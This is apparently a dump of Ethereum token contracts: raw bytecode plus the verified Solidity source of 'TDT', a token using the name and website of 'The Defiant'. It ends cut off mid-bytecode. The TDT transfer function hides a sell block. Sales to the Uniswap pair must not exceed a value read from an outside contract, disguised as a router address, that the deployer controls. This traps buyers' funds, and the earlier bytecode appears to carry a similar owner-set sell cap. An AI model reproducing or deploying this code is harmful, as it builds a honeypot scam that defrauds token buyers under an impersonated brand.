0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104b7578063dd62ed3e14610501578063eb7d2cce14610579578063f2fde38b146105a757610100565b8063715018a61461038057806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce56714610292578063408e9645146102b657806344192a01146102e457806370a082311461032857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102e2600480360360208110156102cc57600080fd5b810190808035906020019092919050505061078b565b005b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c3565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad0565b6040518082815260200191505060405180910390f35b610388610b19565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e95565b6040518082815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b8101908080359060200190929190505050610f1c565b005b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600654905090565b60006106c284848461136d565b610769846106ce611206565b61076485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610874611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089557600080fd5b6108aa8160065461167e90919063ffffffff16565b60068190555061090981600260006108c0611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60026000610915611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109cb611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b21611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f24611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220700db74298a88aea770b508ebb37296807a9557c25ec1df4dc75758c72f0b57064736f6c63430006020033
{"success": true, "error": null, "results": {}}
1,368
0x279Cd37E644818Bb40b88D90674fc869B6b59e1B
/** *Submitted for verification at Etherscan.io on 2021-11-14 */ //SPDX-License-Identifier: MIT // Website: https://thedefiant.io/ pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="The Defiant"; string constant TOKEN_SYMBOL="TDT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TDT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600b81526020017f5468652044656669616e74000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5444540000000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffff